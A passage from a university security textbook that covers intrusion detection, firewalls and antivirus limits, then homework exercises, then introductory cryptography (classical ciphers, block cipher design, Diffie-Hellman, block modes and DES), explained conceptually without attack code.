generated) key (the key used will have to be included in the code to be able
to decrypt but a basic pattern analysis will not reveal this). By not mutating
too often it also makes the job for analysts harder (i.e. by not providing many
different copies of the same malware).
Stealth techniques employed by viruses to hide from virus scanners include
intercepting read requests and replacing reads of infected files by clean copies.
Related to this is rootkits; software which operates ‘at the root of the system’; it
is not visible at the operating system level. Virus protection that uses OS calls
will not be able to detect such viruses.
Other viruses take a more active approach actually attacking the anti-virus
software; stopping the processes belonging to such software, making anti-virus
(update) sites unreachable (e.g. by altering DNS settings).
Thus while it is necessary to run anti-virus software to catch the many
basic attacks, more sophisticated or simply just new attacks are likely to escape
detection.

IDS Malware will often use the network to spread or otherwise execute mali-
cious activities (for example botnet activities such as sending loads of spam mail).
Intrusion detection systems (IDS) monitor the network to find (and possibly
block) malicious activities. IDS systems come in two main classes; signature and
anomaly based. As mentioned, signature based systems check for patterns in the
traffic that match known attacks. Anomaly based systems look for ‘abnormal’
behavior; anything that is not the usual behavior on the network could indicate
an attack. These classes thus have the same drawbacks as observed for virus
scanners.
Not all attacks can be detected and not all detected anomalies (or signature
matches) are attacks. A way to measure the quality of an IDS is to look at its
false negative rate (missed malicious traffic) versus its false positive (false alarm)
rate. Perfect detection rate with no false negatives and no positives is impossible.
Instead we are left with a trade-off between detection rate and the amount of
(false) alarms that are raised and need to dealt with by the security officer.
Signature based systems have a high false negative rate on new attacks while
anomaly based systems will suffer from false positives.
In signature based systems the trade-off is set by how ‘wide’ the rules are
(with ‘everything is an attack’ as an extreme). With anomaly based systems it is
set by choosing a threshold on how uncommon an activity has to be to be called
an anomaly (such as ‘traffic to addresses that occurred less than t percent of the
cases during the training is anomalous’.)

Firewalls We already briefly mentioned firewalls when taking about IP spoof-

ing. As we have seen above, the effect of different attacks and the ease with which
they are employed depends on the capabilities of an attacker. A local attacker is
able to do much more easily cause more damage then a remote attacker. As such
it makes sense to try to build barriers between different parts of the network.
Firewalls do exactly this by filtering the traffic between two networks, e.g. an
organization’s LAN and the Internet, an organization’s web services and its
intranet, a single PC and the intranet, etc.
8.3. DEFENDING AGAINST NETWORK SECURITY THREATS 155

Filtering can happen at different layers of abstraction (and thus at different

network layers). For example a basic packet filtering firewall (working at the
network layer) can help against IP spoofing of local addresses by outside attackers
and can block access to ports (and services) that should not be accessible. If
working at the TCP level, it will likely need to remember which sessions are open
to be able to distinguish real responses from spoofed messages; a stateful firewall.
Increased filter complexity can have a significant impact on the resources needed
and thus the performance of the firewall. Going up to the application layer
one can try to block dangerous data or known threats; such as remove active
components from web pages, macros from word documents, block downloaded
files containing viruses, tag spam and phishing emails, etc. Of course this greatly
increases the complexity of the firewall; instead of looking at single packets one
needs to understand the protocol being used, extract and reconstruct the data
being sent, interpret and evaluate the data to determine whether it is harmful.
A main difference between firewalls and intrusion detection systems is that
the former actually blocks traffic considered to be malicious. With an IDS the
operator still needs to respond to deal with the attack (for example by defining
a new firewall rule.) The use of firewalls thus has a direct impact on availability
and usability; if we block traffic then availability and usability will go down.
For example, by blocking port 22 of all machines except the public SSH server
you help protect the network (e.g. a mis-configured machine vulnerable on port
22 would not be accessible from the outside) but also disallow other computers
on the network from offering SSH connections. Also, the firewall will impact
network performance with more advanced filtering requiring more effort thus
adding to cost and/or leading to further loss of performance.
A good policy (a model of ‘good’ and/or ‘bad’ traffic) is thus needed to
make firewalls useful; one that implements optimal trade-offs between protecting
against network risks and keeping network services available. The risks, ways
to detect attacks and network services needed change dynamically, making
maintaining an effective firewall challenging.
The use of anomaly based approaches is uncommon when actually blocking
traffic; not only is there the risk of a high false positive rate but also the reason
why a particular message did not arrive might become unclear. Knowing a set of
rules for the firewall a user can understand why certain connections do not work
and what to change in the rules to make them work. However, understanding a
machine-learned model of traffic used for anomaly detection, let alone updating
it, is a lot more difficult.
Note that the firewall can only inspect the traffic that it can see. If data is
encrypted (a best practice for securing a connection) this limits the possibilities
for the firewall.
Summarizing, a firewall is a very useful tool and is employed by nearly anyone
operating a network. They are even built into operating systems to protect
the (network consisting of only the) PC from the network it is connected to.
Still, given its inherent limitations it is by itself not sufficient to protect a local
network. Thus it is typically combined with IDS to find threats on the local
network and anti-virus on the end-points; the machines on the network.

Data gathering and training Anomaly based whitelisting approaches need

normal non-malicious traffic for training; i.e. for creating a model of normal
156 CHAPTER 8. NETWORK AND WEB SECURITY

traffic. Simply monitoring the network for a sufficient period of time is a way to
gather such traffic. However, what is sufficient may not be obvious; all normal
traffic has to occur sufficiently often. Also, there may already be attacks in
progress thus we have to be careful not to consider these as normal behaviour as
well.
Signature/rule based blacklisting requires that one knows the attacks that
are likely to be used against the system being protected. But how do we know
what the attacks are and what type of traffic should be blocked? One way is to
use fake systems or networks that collect data on attacks. Attackers are lured
to these systems and monitored to reveal what vulnerabilities in which services
they try to exploit. Sharing this information with others will allow making more
complete lists. The trade-off is that it will also tell the attackers what attacks
are known and thus help them to craft attacks that will not be detected (or
apply known attacks on not-up-to-date systems).

8.4 Summary
In this chapter we have looked at Network security and Web service security. We
first looked at threats at the different network layers and specifically application
layer threats for web servers. Firewalls to try to keep attacker from entering
the local network, intrusion detection systems to find an attacker that managed
to enter the local network and anti-virus solutions to protect against attacks
that manage to reach the end-points. We identify black/white listing and
signature/anomaly based models as methods used by these approaches to classify
traffic/content into normal and malicious.

8.4.1 Literature
Suggested reading

• Sections 8.6-8.10 of the book Computer Networking: A Top-Down Ap-

proach [20, Sec. 8.6-8.10],

• Hunting the Unknown, White-Box Database Leakage Detection [12].

8.5 Homework Exercises

1. Give a threat for each of the four layers in the simplified OSI model.

2. Give two threats, for different translations between layers.

3. In the following lists which is the odd man out and why6 :

• Session hijacking, SQL injection, XSRF and XSS.

• DNS spoofing, IP spoofing, MAC spoofing.
• Eavesdropping, Honeypot, Stuxnet, Virus scanner, Worm.
6 Different answers may be possible based on different reasons. Give what you consider to

be the ‘best’ answers.

8.5. HOMEWORK EXERCISES 157

4. Once again consider the online music store scenario of Exercise 6 in Chap-
ter 1. Enhance the requirements you extracted and security design that
you made by considering threats and techniques introduces in this chapter.
Indicate how you would apply the techniques, what trade-offs this imposes
and what effect they have on both the attacks as well as on the goals of the
legitimate actors in the system, and, if applicable what new goals/actors
you need to introduce.
5. Figure 8.1 shows several example attacks and their place in the OSI
stack. No example is given of an attack related to the translation between
transport and network layer. Give a threat that you would consider to fit
in this location.
6. Assume the script in Figure 8.11 is used on a website. What input could
an attacker give (in the username and password fields) to:

(a) login as user Alice.

(b) test a guess (e.g. MyPassword ) for Alice’s password.
(c) test whether Alice’s password starts with M.
7. Consider the DNS poisoning attack against a local name server.

(a) What is the attacker model; which implicit assumptions are made
and why?
(b) The attacker needs to get the guessed ID to match one of the IDs
of one of the outgoing requests. Each ID is a (uniformly) randomly
chosen 16-bit number. Suppose the attacker sends the same number of
fake answers as there are requests. How many requests do there need
to be for the attacker to have at least a 50% chance of succeeding?
(Hint consider the change that none of the fake answers match any of
the requests.)
8. The quality of an anomaly based IDS (or more generally the performance
of any binary classifier) can be shown with a so called “Receiver operating
characteristic (ROC) curve” which plots the false positive rate (false alerts)
against the true positive (detection) rate (true alerts; equal to 1 - false
negative rate). (Recall that setting a different threshold results in different
trade-off between these two numbers.)
(a) Draw a ROC curve with four classifiers; the first does random guessing,
the second achieves a detection rate of 80% at the cost of a 40% false
positive the third a detection rate of 90% at the cost of 30% false
positive rate and finally a perfect classifier.
(b) Assume we have a classifier that is below the line of the random
guessing. How could we make a better classifier out of this?
Chapter 9

Cryptography

Cryptography is one of the main building blocks available to the network security
engineer. In this chapter we describe the basics of cryptography, the design and
building of ciphers, and cryptanalysis, as well as the analysis and breaking of
ciphers. Together these are referred to as cryptology.
This chapter first discusses the security goals that one may want to achieve
with cryptography and then treats the two main classes of cryptography: Sym-
metric and Public Key (also known as Asymmetric) Cryptography.
In our discussion we try to answer the following questions:

• How to defend against different attacker models using crypto?

• How to encrypt and decrypt large messages?
– As encryption algorithms typically have a size limit on the messages
that they encrypt we discuss how to encode larger messages split into
multiple blocks.
• What does it mean to say “a cipher is secure”?

– After giving some concrete examples of algorithms we look at how to

evaluate the quality of a cryptographic algorithm.

9.1 Basics and Security Goals of Cryptography

If you want to communicate a message (e.g. over a network) and are concerned
that someone may be listening in you could try to hide the message in such a
way that the eavesdropper will not understand it.
The texts in Figure 9.1 both contain a hidden message - try to discover it. It
may seem to be well hidden; at least it is not directly obvious. However, once the
method is known it will no longer work (it relies on obscurity of the encryption
method); once you know how to find the message in the first example the second
will be trivial. The hidden message in the text in Figure 9.2 will likely also be
quite easy to find.
The Kerckhoffs’s principle1 tells us that the security of an encryption tech-
nique should not rely on secrecy of the algorithm used. Instead, keeping a small
1 after the Dutch cryptographer Auguste Kerckhoffs who stated this requirement in 1883.

158
 9.1. BASICS AND SECURITY GOALS OF CRYPTOGRAPHY 159

Greetings to all at Oxford. Many thanks for your

letter and for the summer examination package
Welcome back to Oxford. Thanks again, this
all Entry forms and Fess Forms should be ready
letter explains the winter examination method
for final dispatch to the Syndicate by Friday
and its related forms. Early submission does
20th or at the very latest, I’m told, by the 21st.
guarantee full and early feedback but does not
Admin has improved here, though there’s room
influence the grading of the quality of the work
for improvement still; just give us all two or three
done. A full grade report will be available once
more years and we’ll really show you! Please
the deadline for submissions has passed. In it
don’t let these wretched 16+ proposals destroy
the evaluation is explained. The evaluation is
your basic A and O pattern. Certainly this
final as the criteria for the work are now known.
sort of change, If implemented immediately
would bring chaos.

Figure 9.1: Two texts with a hidden message

A final greeting to our Oxford graduates. Though with a

slight delay, we hope this letter finds you well. The new
variation in the forms attached shows how our alumni
will continue to play a key role in our school and will
not be forgotten. Instead we hope that you continue to
work with us, and any contribution that you can bring,
either directly or indirectly, will be appreciated.

Figure 9.2: Another hidden message

piece of input information (the key) secret should be sufficient. Note that this
is an instance of the more general ‘not relying on security through obscurity’
principle.
Figure 9.1 shows the basic operation of a cryptography system; an encryption
system protects a message by creating a jumbled version of the message using a
known method (the encryption algorithm) and a small piece of secret information
(the encryption key). With a corresponding secret (the decryption key) and
another known method (the decryption algorithm) the secret message can be
recovered. Trying to use the decryption method without knowing the correct
key provides no information about the secret message.
Encrypting data thus aims to protect its confidentiality. There are also
cryptographic techniques such as digital signatures (see also Section 9.3), which
allow checking integrity. Authenticity and providing non-repudiation can also be
achieved using encryption schemes.
Several privacy enhancing techniques use techniques similar to asymmetric
cryptography and indirectly, through confidentiality, cryptography can contribute
to privacy. However, privacy is typically not a direct goal of cryptography; your
data is under control of other entities which have control over the data. Privacy
requirements restrict what they may do with the data, not the ability to get to
the data.
Encryption clearly has a negative impact on availability. Decryption aims
to maintain availability in the presence of encryption, of course, only for those
with the correct decryption keys. Thus confidentiality and availability can be
160 CHAPTER 9. CRYPTOGRAPHY

Figure 9.3: Basic overview of a crypto system

combined by ensuring only the correct parties that have the relevant decryption
keys (recall the discussion on security requirements from the first chapter).

9.2 Symmetric Cryptography

The decryption needs a secret (the decryption key) related to the secret used
for encryption (the encryption key). In symmetric cryptography the two secrets
are actually the same; a single key is used both for the encryption and the
decryption.
A symmetric key cipher system thus needs an encryption algorithm, a decryp-
tion algorithm and a secret key, which is used by both. If a message, referred
to as a plaintext, is encrypted with a key and the resulting cipher text is later
decrypted with the same key then the original plaintext should be recovered.
Both the cipher text and decryption of the cipher text with a different (thus
incorrect) key should make no sense to an attacker.
The only difference between a legitimate user and the attacker is that the
legitimate user knows the key. The key should be chosen randomly to ensure
that the attacker cannot simply guess it. In many symmetric key algorithms the
key can be any bit-string of a given length and selecting a random string of this
length is sufficient to generate a good key. However, for some ciphers, especially
asymmetric ones, the keys have some structure and generating a good random
key is more complex. A cipher should then also come with a probabilistic key
generation algorithm.
With these notions in place we can now try to formally define what “makes no
sense to an attacker” means. A possible and very strong definition is to require
that there is no correlation with the plaintext at all. In this case, the security is
unconditional ; i.e. no matter the computational resources of an attacker, the
attacker cannot learn anything new about the plaintext from the cipher text
(or in other words - our attacker model assumes no limits on the computational
resources the attacker has available).

Definition 9.2.0.1 (Unconditionally Secure) We say a symmetric cipher

with encryption Enc is unconditionally secure (also known as information theo-
9.2. SYMMETRIC CRYPTOGRAPHY 161

retically secure) if encryption with a random key gives a cipher text that is not
correlated with the plaintext.
Formally, consider random variable k (the randomly selected key). We require
that for any cipher text c and potential plaintexts p1 , p2 :
P(c = Enc k (p1 )) = P(c = Enc k (p2 ))
where P denotes the probability. That is, if one does not know the key each
plaintext is equally likely to have been the one that was encrypted.
An alternative, equivalent, definition is that for any probabilistic distribution
over plaintexts (the attacker’s a-priori estimate of how likely a given plaintext
is) the attacker learns nothing new by obtaining the cipher text; the conditional
probability of plaintexts given an encryption with a random key is the same as
in the original distribution over plaintext.
Recall from Chapter 1 that a notion of ‘secure’ should consider both the
goal to be reached (a security policy in terms of security attributes to be
achieved) and under which conditions/situations this goal must be achieved (the
attacker model). We can summarize these as follows: the term ‘unconditionally
secure’ cipher refers to the security goal ‘confidentiality of the plaintext’ with
security policy ‘those who do not know the randomly generated key may not
learn anything about the plaintext’ and the attacker is one with unlimited
computational resources, knows (Kerckhoff’s principle) the cipher including
the probability distribution of the keys (because the attacker knows the key
generation algorithm) but does not know the actual key (outcomes of the random
choices in the key generation algorithm are not known).
Unconditional security imposes a very strong requirement on the cipher. Is it
actually possible to create a cipher which achieves this? This is indeed possible
(assuming the number of possible plaintexts is finite) and can be achieved by a
surprisingly simple system; the one-time pad.

plaintext bits p1 p2 p3 p4 p5 ...

key bits k1 k2 k3 k4 k5 ...
cipher text bits p1 ⊕ k1 p2 ⊕ k2 p3 ⊕ k3 p4 ⊕ k4 p 5 ⊕ k5 ...

Figure 9.4: One time pad

This system performs a bitwise exclusive or (XOR, ⊕) with a key which

is as long as the plaintext and which can only be used for a single plaintext.
Decryption is done by repeating this same operation; (p ⊕ k) ⊕ k = p thus the
plaintext bits are recovered in this way. Though simple and easy to understand,
this system is rather impractical in use because it requires as many key bits as
there are bits of messages to be encrypted. For communication this means that
we first need to safely share a key which is as long as the message that we want
to send. But if we have a secure way of sending a key then why not use this for
the message directly? Thus the use is limited to cases where we can share a key
in a way we cannot share the message itself - e.g. meet to share a key in advance,
and later use this to enable communication over an insecure channel or share
keys over a channel on which eavesdropping can be detected (as in quantum key
distribution treated in the course ‘Physical Aspects of Digital Security’ (2IMS10)
where security meets quantum theory).
162 CHAPTER 9. CRYPTOGRAPHY

Similarly if we use the one time pad for securely storing (rather than sending)
some data we would need to securely store a key of equal length. Here the only
remaining benefit is that an attacker would have to obtain both the key and
encrypted data, which we could try to make difficult e.g. by storing them in
different places. This is a form of so called secret sharing.
So the one time pad is secure2 but needs impractically long keys. Could we
not think of a more efficient system which achieves the same level of security?
Unfortunately, such a system cannot exist (see Exercise 9). Thus people have
been trying to create practical encryption systems which are ‘good enough’.
Below we look at some of these attempts.

Substitution Ciphers The Caesar cipher which, as its name suggests, was
already used in Roman times, is a simple substitution cipher. Given a plaintext
we simply shift each letter by a fixed number of places (e.g. A becomes D, B
becomes E etc.) to obtain the cipher text. To decrypt we shift back by the same
number of places.

plaintext letters H E L L O ...

key letter (repeats) C C C C C ...
cipher text letters K H O O R ...

Figure 9.5: Caesar cipher with key = C (+3)

It is clear that this cipher does not offer much security; there are only 26
possible key values (of which one is not really useful; consider which one and
why) so we can only hope for log2 26 (i.e. less than 5) bits of security at best.
Conclusion 1: We need a sufficiently large key space.
However, the Ceasar cipher can be broken even more easily. The patterns
in the text remain unaltered (e.g. in Figure 9.5 the double L becomes double
O) allowing knowledge of text patterns to be used to easily find the key. For
example, by looking at the frequency of the letters one can conclude which letter
is most likely encryption of the letter E which also directly gives the key used.
The Caesar cipher uses a very structured (linear) operation to encode letters;
a rotation in which each letter moves by the same amount. If instead as
substitution we would use an arbitrary 1-to-1 mapping from letters to letters,
(also called bijection or permutation) where e.g. A could be encoded as E, B
as Z, C as P , etc. The key is the mapping itself which we could store as a
sequence of 26 letters (EZP . . .). The number of possible keys is now 26! or
approximately 288 possibilities, which corresponds to 88 bits. This may seem a
reassuring number as trying all keys, say at a million billion tries per second,
would still take thousands of years. Yet breaking such a cipher can be done,
even by hand, by looking at patterns in the text rather than trying all possible
keys (there is actually a type of puzzle based on this idea; in a filled in crossword
each letter is replaced by a number and the goal is to find the corresponding
mapping between numbers and letters). Conclusion 2: The non-linearity of the
substitution is a strength but not sufficient when working with single letters.
Also storage requirements for keys need to be considered.
2 What did that mean again in this setting ...
9.2. SYMMETRIC CRYPTOGRAPHY 163

Thus substitution of a single letter at a time is insufficient. What if we

increase the block size, i.e. always encrypt a number of letters at the same time.
If we apply this principle to the Caesar cipher and thus use a word instead of a
letter as the key we obtain the Vigenere cipher. (The Caesar cipher is a Vigenere
cipher with a blocksize 1).

plaintext letters H E L L O ...

key word (repeats) B Y E B Y ...
cipher text letters J D Q N N ...

Figure 9.6: Vigenere cipher with key=BYE

With a block size of n letters the size of the key space becomes 26n . However,
again an attacker can mount a more effective attack than just trying all possible
keys; first the attacker guesses the length of the key n. This guess can be verified
e.g. by checking that the frequencies of each n-th letter show the same pattern as
the frequencies normally occurring in a text or simply by the fact that the next
step succeeds. Finding the key is then an easy exercise of attacking a Ceasar
cipher n times.
Thus simply increasing the block size does not, by itself, solve the problem.
When our message is larger than the block size the repetitions still allow recogni-
tion of patterns. (What if our message is not longer than the block size and we
only send one message so no repetitions occur?3 ) Conclusion 3: Just increasing
the block size helps too little if the attacker can solve the problem one part at a
time.
From the conclusions above a natural goal would be to combine larger block
sizes with non-linear operations. Note, however, that a random 1-to-1 function of
the entire block (for example with block size 3 a mapping could be: AAA maps
to EQN , AAB maps to XP A, . . . ZZZ maps to SDI), while hard to break,
would give prohibitively large keys (EQN, XP A, . . . , ZZZ is over 50K letters
long). Conclusion 4: We would like to have random 1-to-1 mapping without
needing to store all its outputs. We could try to simulate this by not really
using a random function but one that we can compute based on a small piece of
random data that then is our key. Of course the output should look random; it
should not depend on the input or the key in an easy to detect way (such as
a linear relation). Modern block ciphers use this principle but before we can
describe those we need one more ingredient.

Transposition Ciphers Instead of changing the letters in a text we could

also try to hide the text by changing the order of the letters, i.e. transposing
the text; applying a permutation to the text. This in itself, however, is easy to
detect: the frequency of letters does not change so it may be easy to recognize.
Also, if a fixed permutation is used there is no key. Hence once the method is
known the security is lost. If instead a random permutation is used we have the
problem of how to effectively store what permutation we are using. Conclusion 5 :
Transposition tries to hide which part of the output describes which part of the
input but by itself is insufficient.
3 Then it becomes equivalent to the one time pad just using letters instead of bits.
164 CHAPTER 9. CRYPTOGRAPHY

Modern Block Ciphers From the discussion above we can conclude that we
want to:

• have sufficiently large keys (Conclusion 1) but not too large (Conclusion 2).
If the best an attacker can do is to try all keys then 128 or 256 bits are
commonly used sizes. The key space grows exponentially in the size of the
key; if everybody in the world had a billion processors each able to try a
billion keys per second it would still take over a thousand years to try 2128
possibilities while 2256 approaches the estimated number of atoms in the
observable universe.

• work with sufficiently large blocks at a time (recall Conclusion 2) and,

• have output depend on all input (recall Conclusion 3); we don’t want the
attacker to be able to analyse the cipher text one piece at a time. We can
use transposition to help achieve this but by itself it will not be enough
(recall Conclusion 5).

• prevent the attacker from detecting how the output depends on the input
or on the key (recall Conclusion 4).

By mixing substitutions (confusion) with permutations (diffusion) one can

try to achieve these goals and simulate an encryption which is a large random
permutation of all plaintext.
Let us design an encryption method: - we use blocks of input together (for
example 128 bits) - we use a sufficiently large random key (for example also 128
bits) - we transform the input in a way that seems random:

Step 1 We try to hide the input. We can do this for example by the method
used in the one time pad and in Vigenere cipher (for letters); we add the
key to the input one bit at a time (that is we XOR the input and the key).
Note that (so far) an attacker could analyze the result one bit at a time
and the relation of output with input and key is linear. We thus need to
mix the bits and hide this relation in the next steps.

Step 2: Confusion (Substitution) We take a small piece of the result (such

as 1 byte) and put it through a fixed 1-to-1 mapping. This fixed 1-to-1
mapping is typically called an S-box (substitution-box). The S-box brings
a non-linear element to the encryption but we have to keep it small and
fixed to prevent having to store too much data. However, it is still clear
which byte belongs to which input byte. As a result, the attacker now has
to analyze a byte at a time instead of a bit at a time.

Step 3: Diffusion (Permutation) Mix the bits by moving them around (per-
mutation) and possibly doing a (linear) combination. By moving the bits
we try to hide how output bits depend on input bits so the attacker will
not know which bits belong to which byte.

Of course we need to prevent the attacker from simply reversing step 3. We

do this by hiding and combining the output bits again; i.e. we repeat steps 1
to 3 (i.e. go to round 2). The second round of step 2 will again combine 8 bits
but, because of step 3, each of these bits come from different outputs of round 1.
9.3. PUBLIC KEY CRYPTOGRAPHY 165

Thus each in turn depends on a byte (due to step 2 in round 1) of the input and
the key. By repeating steps 1-3 several times (rounds) we ensure the attacker
will have to analyze the whole block at once and in a non-trivial way (due to
the included non-linear steps).
The above sketches the main idea of many of the modern block ciphers
(substitution-permutation ciphers). Each use repeated rounds applying confusion
and diffusion though they differ in the order of the steps and how they mix the
key with the input. Shuffling key bits between rounds, resulting in different
‘round keys’, is also common. In Section 9.5 we will see two examples of this in
some more detail; the Data Encryption Standard and its successor, the Advanced
Encryption Standard. Now we first move to the basics of asymmetric (a.k.a.
public key) cryptography.

9.3 Public Key Cryptography

Suppose that Alice wants to be able to securely communicate with a lot of
different people without any of them being able to eavesdrop on communications
with the others. She could use the symmetric cryptography techniques we
discussed above to achieve this. However, Alice will need to share a different
key with each of these people and will have to store all of these keys securely.4
A way to solve this problem is to use asymmetric cryptography. An asym-
metric system uses different keys to encrypt and decrypt data. Using such a
system Alice could have a public key 5 that she could share with everyone and
that others can use to encrypt messages meant for Alice so only she can decrypt
it with her private key that she keeps secret. If Alice wants to send a message
herself, e.g. to Bob, she uses his public key to encrypt it.
One can compare a public key system to a padlock; anyone who has the
padlock (public key) can lock it (encrypt a message) but only the one with the
(private) key can unlock (decrypt) it. A symmetric system on the other hand
is like a lockbox where you need the same key both to put things in and take
things out.
So how does this help; Alice still needs a different (public) key of everyone
she wants to send messages to in addition to her private key? The advantage is
that, while in a symmetric system she has to keep all keys confidential, with the
public key system this is only needed for her own private key. (In both systems
we will need to protect the integrity of all keys.)
For the public key approach above to work we need to satisfy the following:
• It should not be possible to derive information about encrypted messages
or the secret key from the public key.
• Alice needs to be sure the ‘public key of Bob’ really belongs to Bob.
The need for the first property is quite obvious but less obvious is how we can
achieve this; not only do we have to keep information secret but we have to
keep it secret from somebody who has ‘half of the answer’ (the public key). The
second requirement is related to key management; though Alice will not need to
keep the public key of Bob secret, she does need to make sure it is correct and
not the key of say Mallory.
4 You are of course thinking: what exactly does ‘securely’ mean here?
5 Hence asymmetric cryptography is also referred to as public key cryptography.
166 CHAPTER 9. CRYPTOGRAPHY

Authenticity of messages. The discussion so far focusses on achieving confi-

dentiality of messages. Let’s, for a moment, consider the other security attributes
that we may want to achieve. Suppose we wish to achieve authenticity (and
with it integrity) rather than confidentiality. With a symmetric key system Alice
knows that if she decrypts a message and it makes sense, then it must have been
created by Bob (or by herself); no one else has the key so no one can make cipher
texts that decrypt to meaningful plaintexts. With public key cryptography we
can also achieve authenticity but we have to ‘turn the public key cryptography
schema around’; Alice signs a message with her private key and everybody is
able to check this digital signature using her public key. For some ciphers, such
as RSA (see Section 9.5), this ‘turning around’ can be achieved by simply using
decryption for signing and encryption for checking a signature.
Note that we could also use digital signatures to protect the integrity of public
keys. For example, if Alice signs ‘Bob’s key is 2ef8d83441e...’ and stores this
she can then tell if someone has tampered with the stored keys as the signature
will no longer be correct. Changing both the stored key and the signature is
not an option for an attacker as only Alice can make valid signatures. This is
an example of a certificate which we shortly mentioned in Chapter 8). To give
some idea of the mathematics that make public key schemas, including digital
signatures, possible we now look at the Diffie-Hellman key exchange protocol.

Diffie-Hellman Key Exchange Consider the following setup: Alice and Bob
want to create a shared key, e.g. to be able to use a symmetric cipher, but are
worried that someone may overhear their communication. Diffie-Hellman Key
Exchange could be used to solve this. In this system two public parameters are
set: a large prime number p and a generator a < p. Alice and Bob both generate
a random number, x and y respectively, raise a to the power of this random
number and send this to the other. The number r they receive they again raise
to the power of their random number and the result is the shared secret key.
Alice and Bob share the same key.
Alice uses
x
rbob mod p = (ay mod p)x mod p = ayx mod p,
and Bob uses
y
ralice mod p = (ax mod p)y mod p = axy mod p.
An eavesdropper could obtain ra and rb . However to make the key e.g. from
ralice one would need y. The attacker could try to obtain y from rb because
rbob = ay mod p in which only y is unknown. However, this is an instance
of solving a discrete logarithm problem in a finite group for which no efficient
algorithms are known. Thus if we use a large prime number p an eavesdropper
is highly unlikely to obtain the shared secret key.
This is a characteristic property of asymmetric ciphers; the security argument
is that the attacker even if she knows the public key and the cipher text would
have to solve a ‘hard problem’ to extract the secret key and/or the plaintext.
Note that the attacker model is very important for the security of this scheme.
For example, the scheme is not secure against a man in the middle attack. In
the man in the middle attacker model the attacker is able to not only listen to
messages but actually intercept and change them. If Eve can alter messages sent
0 0
by Alice and Bob she could replace ax and ay by ax and ay after which both
0 0
Alice (axy ) and Bob (ax y ) share keys with Eve while thinking they share a key
9.4. BLOCK MODES: ENCRYPTING MORE THAN ONE BLOCK 167

with each other.

9.4 Block modes: Encrypting more than one

block
Block ciphers take a fixed size (64 bits, 128 and 256 bits are common sizes) block
to encrypt. Asymmetric cryptography typically takes an element of a group of
size n, thus encoding at most log2 (n) bits (e.g. 256, 512, 1.024 and 2.048 are
common sizes for n in bits). Thus, to encode large messages, we will need to
split the message into multiple blocks.
We can divide our message up into blocks of the correct size and simply
treat each block separately. This approach, called Electronic Code Book (ECB)
mode, has several drawbacks. For example; the same block will encrypt to
the same cipher text every time, thus patterns in the original text will still be
visible in the encrypted version of the text. (This problem also occurred for the
Caesar/Vigener ciphers but now relates to blocks instead of letters/words).

Figure 9.7: Encryption using ECB mode

The effect is evident when encrypting an image with a symmetric cipher in

ECB mode as in Figure 9.7. If we simply treat the encrypted data as an image it
is garbled but the original image can still be recognized. A clear case of ‘Mickey
Mouse encryption’ one could say.
Instead of treating blocks separately, one could combine a block to be en-
crypted with the previous blocks (and/or their encryption) in some way. Then
the encryption of the block becomes dependent on the previous block(s) and any
structure in the plaintext is hidden. One way to do this is by using Cipher Block
Chaining (CBC) mode. This mode first XORs the previous encrypted block
with the plaintext before encrypting it. For the first block, where no previous
encrypted block is available, an ‘initialization vector’ is used. With CBC the
data that is encrypted is basically random, ensuring no structure remains that
could be recognized in the cipher text blocks. In Figure 9.8 we encrypt the same
picture as in Figure 9.7 but now with CBC mode and no discernable pattern
remains.
Two other modes are Cipher Feedback (CFB) mode and Output Feedback
(OFB) mode. The OFB mode turns a block cipher into a stream cipher. In a
stream cipher a pseudorandom stream of key bits is generated from the shared
symmetric key and this key stream is XORed with the plaintext to obtain the
168 CHAPTER 9. CRYPTOGRAPHY

Figure 9.8: Encryption using CBC mode

cipher text. Note the similarity with the one-time pad; if the key stream is
‘sufficiently random’ then so is the cipher text. Also, like with the one-time pad,
the same key(stream) should not be reused. With OFB mode, an initialization
vector is encrypted to give the first block of key bits which then also replaces the
initialization vector and is re-encrypted to form the next block of key bits, etc.
(Using a different initialization vector enables one to generate multiple streams
from the same key in OFB mode.) The CFB mode is a slight variation of CBC
with a structure that resembles a stream cipher. In CBC an initialization vector
is encrypted to get the first block of random bits and the resulting cipher text is
then re-encrypted, thus re-seeding the pseudorandom number stream, but here
with data which also depends on the plain text.

Figure 9.9: Overview of Block modes ECB, CBC, CFB and OFB
9.5. EXAMPLE ALGORITHMS 169

9.5 Example Algorithms

To get a better idea of the inner workings of algorithms we now look at some
common algorithms.

9.5.1 Data Encryption Standard (DES)

The Data Encryption Standard (DES) was adopted by the US National Bureau
of Standards (NBS), now named National Institute of Standards and Technology
(NIST), in 1976. The key used by DES is effectively 56 bits long. (It specifies 64
bit keys but 8 of these are parity bits.) DES uses a 16 rounds Feistel network
structure (see Figure 9.10).

Figure 9.10: In the Feistel structure a round consists of splitting the input into
two parts, applying a function F to the right hand side and XOR-ing the result
with the left hand side. This gives the new right hand side. The new left hand
side is the old right hand side.

In DES the function F works as follows: A simple key schedule determines

which of the 56 bits of the key form the 48 bits of the round key for each round.
The input (Ri ) is extended (by repeating some bits) to 48 bits and the result
XOR-ed with the round key. The eight different DES S-boxes, each taking 6-bits
of input and producing 4 bits of output are then applied yielding 32 bits of
output. The final step in computing F is permuting these 32 bits.
One of the advantages of the Feistel network structure is that the decryption
is very similar to the encryption: undoing a single round is exactly the same
just with left and right parts swapped. (Check this for yourself; apply a round
with key Ki and input Ri+1 , Li+1 to see it gives as output Ri , Li .) Note that
the function F does not have to be invertible. The DES S-boxes, in particular,
are clearly not invertible as they have less bits of output than input.
Fear that the influence of NSA on the design introduced specific weaknesses
that they could exploit was later countered by the relatively good resistance of
the cipher to ‘differential cryptanalysis’, a technique published in the late 1980s
but apparently already known to the NSA and the IBM designers at the time
DES was made.
A main issue with DES is its limited key size. While, when DES was initially
published, it was considered that a machine that would break this cipher in a
170 CHAPTER 9. CRYPTOGRAPHY

reasonable amount of time would be unrealistically expensive, already in 1977 a

theoretical 20M dollar machine which could break keys in a day was described [14].
In 1998 the Electronic Frontier Foundation (EFF) actually built Deep Crack for
less than $250,000 which can crack a key in a few days [1]. Currently ‘brute-force’
techniques for cryptanalysis not only benefit from individually faster machines
but also from massive parallelism such as distributed computing and the use of
graphics cards.
In short DES cannot be considered secure6 anymore. As a solution to the
short key, triple DES was introduced. As the name suggests triple DES uses
three DES operations with a set of three 56 bit keys; two DES encryptions with
a DES decryption in between. 7
By choosing all three keys different we get an encryption scheme with a 168
bit key. It is also possible to take the first and second key different but the third
key the same as the first key. This gives an encryption scheme with a 112 bit key.
Of course the key length alone does not determine how much security a cipher
really offers. Estimates of security offered against the best known attacks are 112
bits for the first and 80 bits for the second scheme. (The detailed cryptanalysis of
this method are beyond the scope of this course.) Recall that ‘n-bits of security’
